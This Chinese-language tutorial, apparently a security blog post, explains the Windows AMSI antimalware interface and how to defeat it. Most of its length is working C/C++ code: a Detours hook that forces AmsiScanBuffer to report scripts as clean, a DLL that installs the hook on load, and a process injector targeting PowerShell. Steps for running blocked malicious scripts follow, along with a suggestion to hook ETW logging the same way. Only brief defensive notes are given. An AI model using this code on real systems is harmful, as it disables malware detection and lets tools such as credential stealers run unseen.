AMSI原理与绕过---上
字数 1284 2025-08-25 22:59:09

AMSI原理与绕过技术详解

1. AMSI概述

AMSI (Anti-Malware Scan Interface) 是微软在Windows 10和Server 2016中引入的反恶意软件扫描接口,主要用于检测和拦截恶意脚本的执行,特别是针对PowerShell脚本的防护。

1.1 AMSI工作原理

  • AMSI通过amsi.dll实现功能,该DLL会被注入到如PowerShell等进程中
  • 主要导出函数包括AmsiScanBuffer等,供杀软和EDR产品调用
  • 检测机制会在脚本执行前进行分析判断

1.2 典型拦截场景

当尝试执行恶意PowerShell脚本(如Invoke-Mimikatz)时,即使只是加载脚本内容(无实际执行上下文),AMSI也能检测并拦截。

2. AMSI绕过原理

2.1 核心思路

AMSI的检测结果由AmsiScanBuffer函数的返回值决定,该函数返回一个AMSI_RESULT枚举值:

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,            // 0
  AMSI_RESULT_NOT_DETECTED,     // 1
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,  // 16384
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,   // 20479
  AMSI_RESULT_DETECTED          // 32768
};

关键点:任何大于32767的返回值都被视为恶意。通过控制这个返回值(如固定返回AMSI_RESULT_CLEAN),即可绕过AMSI检测。

2.2 技术实现路径

  1. Hook技术:拦截并修改AmsiScanBuffer函数的行为
  2. 内存补丁:直接修改amsi.dll的内存内容
  3. 进程注入:将绕过代码注入到目标进程

3. 详细绕过方法

3.1 使用Detours库Hook AmsiScanBuffer

3.1.1 准备工作

  1. 编译Detours为64位静态库(因PowerShell是64位进程)
  2. 创建测试项目验证Hook技术可行性

3.1.2 Hook实现代码

#include <Windows.h>
#include <detours.h>

// 保存原始函数指针
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(
    HAMSICONTEXT amsiContext,
    PVOID buffer, 
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;

// 自定义的AmsiScanBuffer函数
HRESULT _AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID buffer, 
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {
    
    // 强制返回安全结果
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

// 设置Hook
void HookAmsi() {
    DetourRestoreAfterWith();
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
    DetourTransactionCommit();
}

// 解除Hook
void UnhookAmsi() {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
    DetourTransactionCommit();
}

3.1.3 测试代码

// 使用EICAR测试字符串
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

int main() {
    HAMSICONTEXT amsiContext;
    AMSI_RESULT res;
    
    // 初始化AMSI
    AmsiInitialize(L"TestApp", &amsiContext);
    
    // 设置Hook
    HookAmsi();
    
    // 扫描恶意字符串
    AmsiScanBuffer(amsiContext, (PVOID)EICAR, strlen(EICAR), 
                  L"Test", NULL, &res);
    
    // 检查结果 - 应该返回AMSI_RESULT_CLEAN
    std::cout << "Scan result: " << res << std::endl;
    
    // 清理
    UnhookAmsi();
    AmsiUninitialize(amsiContext);
    return 0;
}

3.2 DLL注入实现完整绕过

3.2.1 创建AMSI绕过DLL

#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#pragma comment(lib, "amsi.lib")

// 原始函数指针
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(...) = AmsiScanBuffer;

// 导出的Hook函数
__declspec(dllexport) HRESULT _AmsiScanBuffer(...) {
    // 强制返回安全结果
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // 初始化控制台用于调试
        AllocConsole();
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
        
        // 设置Hook
        DetourRestoreAfterWith();
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        
    } else if (dwReason == DLL_PROCESS_DETACH) {
        // 清理Hook
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}

3.2.2 创建DLL注入器

#include <windows.h>
#include <TlHelp32.h>

DWORD GetProcIDByName(const char* procName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 procEntry = { sizeof(PROCESSENTRY32) };
    
    if (Process32First(hSnap, &procEntry)) {
        do {
            if (_stricmp(procEntry.szExeFile, procName) == 0) {
                CloseHandle(hSnap);
                return procEntry.th32ProcessID;
            }
        } while (Process32Next(hSnap, &procEntry));
    }
    CloseHandle(hSnap);
    return 0;
}

BOOL InjectDll(DWORD procID, const char* dllPath) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
    if (!hProc) return FALSE;
    
    LPVOID loadLibAddr = (LPVOID)GetProcAddress(
        GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    
    // 在目标进程分配内存
    LPVOID remoteMem = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, 
                                     MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // 写入DLL路径
    WriteProcessMemory(hProc, remoteMem, dllPath, strlen(dllPath)+1, NULL);
    
    // 创建远程线程执行LoadLibrary
    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, 
                                       (LPTHREAD_START_ROUTINE)loadLibAddr, 
                                       remoteMem, 0, NULL);
    
    WaitForSingleObject(hThread, INFINITE);
    VirtualFreeEx(hProc, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    return TRUE;
}

int main(int argc, char** argv) {
    DWORD pid = GetProcIDByName("powershell.exe");
    if (pid && InjectDll(pid, "C:\\path\\to\\AmsiHook.dll")) {
        printf("[+] DLL injected successfully!\n");
    } else {
        printf("[-] Injection failed\n");
    }
    return 0;
}

3.3 实际应用步骤

  1. 编译AmsiHook.dll为64位版本
  2. 启动PowerShell进程
  3. 使用注入器将dll注入到PowerShell进程
  4. 验证AMSI是否被绕过:尝试执行已知恶意脚本应不再被拦截

4. 技术扩展

4.1 其他可Hook的函数

同样的技术可以用于绕过其他安全机制:

  • ETW (Event Tracing for Windows): Hook EtwEventWrite函数
  • 其他AMSI相关函数: AmsiInitialize, AmsiOpenSession等

4.2 防御措施

  1. 进程保护: 防止非授权DLL注入
  2. 函数完整性检查: 检测关键函数是否被Hook
  3. 内核驱动保护: 监控用户态Hook行为

5. 总结

本文详细介绍了AMSI的工作原理及通过Hook技术实现绕过的方法,关键点包括:

  1. AMSI通过amsi.dll实现检测功能,核心是AmsiScanBuffer函数
  2. 通过修改AmsiScanBuffer的返回值可以绕过检测
  3. 使用Detours库可以方便地实现API Hook
  4. 通过DLL注入可将Hook代码加载到目标进程

这种技术不仅适用于AMSI绕过,还可应用于其他安全机制的绕过,是高级渗透测试中常用的技术手段。

AMSI原理与绕过技术详解 1. AMSI概述 AMSI (Anti-Malware Scan Interface) 是微软在Windows 10和Server 2016中引入的反恶意软件扫描接口,主要用于检测和拦截恶意脚本的执行,特别是针对PowerShell脚本的防护。 1.1 AMSI工作原理 AMSI通过amsi.dll实现功能,该DLL会被注入到如PowerShell等进程中 主要导出函数包括AmsiScanBuffer等,供杀软和EDR产品调用 检测机制会在脚本执行前进行分析判断 1.2 典型拦截场景 当尝试执行恶意PowerShell脚本(如Invoke-Mimikatz)时,即使只是加载脚本内容(无实际执行上下文),AMSI也能检测并拦截。 2. AMSI绕过原理 2.1 核心思路 AMSI的检测结果由AmsiScanBuffer函数的返回值决定,该函数返回一个AMSI_ RESULT枚举值: 关键点 :任何大于32767的返回值都被视为恶意。通过控制这个返回值(如固定返回AMSI_ RESULT_ CLEAN),即可绕过AMSI检测。 2.2 技术实现路径 Hook技术 :拦截并修改AmsiScanBuffer函数的行为 内存补丁 :直接修改amsi.dll的内存内容 进程注入 :将绕过代码注入到目标进程 3. 详细绕过方法 3.1 使用Detours库Hook AmsiScanBuffer 3.1.1 准备工作 编译Detours为64位静态库(因PowerShell是64位进程) 创建测试项目验证Hook技术可行性 3.1.2 Hook实现代码 3.1.3 测试代码 3.2 DLL注入实现完整绕过 3.2.1 创建AMSI绕过DLL 3.2.2 创建DLL注入器 3.3 实际应用步骤 编译AmsiHook.dll为64位版本 启动PowerShell进程 使用注入器将dll注入到PowerShell进程 验证AMSI是否被绕过:尝试执行已知恶意脚本应不再被拦截 4. 技术扩展 4.1 其他可Hook的函数 同样的技术可以用于绕过其他安全机制: ETW (Event Tracing for Windows) : Hook EtwEventWrite函数 其他AMSI相关函数 : AmsiInitialize, AmsiOpenSession等 4.2 防御措施 进程保护 : 防止非授权DLL注入 函数完整性检查 : 检测关键函数是否被Hook 内核驱动保护 : 监控用户态Hook行为 5. 总结 本文详细介绍了AMSI的工作原理及通过Hook技术实现绕过的方法,关键点包括: AMSI通过amsi.dll实现检测功能,核心是AmsiScanBuffer函数 通过修改AmsiScanBuffer的返回值可以绕过检测 使用Detours库可以方便地实现API Hook 通过DLL注入可将Hook代码加载到目标进程 这种技术不仅适用于AMSI绕过,还可应用于其他安全机制的绕过,是高级渗透测试中常用的技术手段。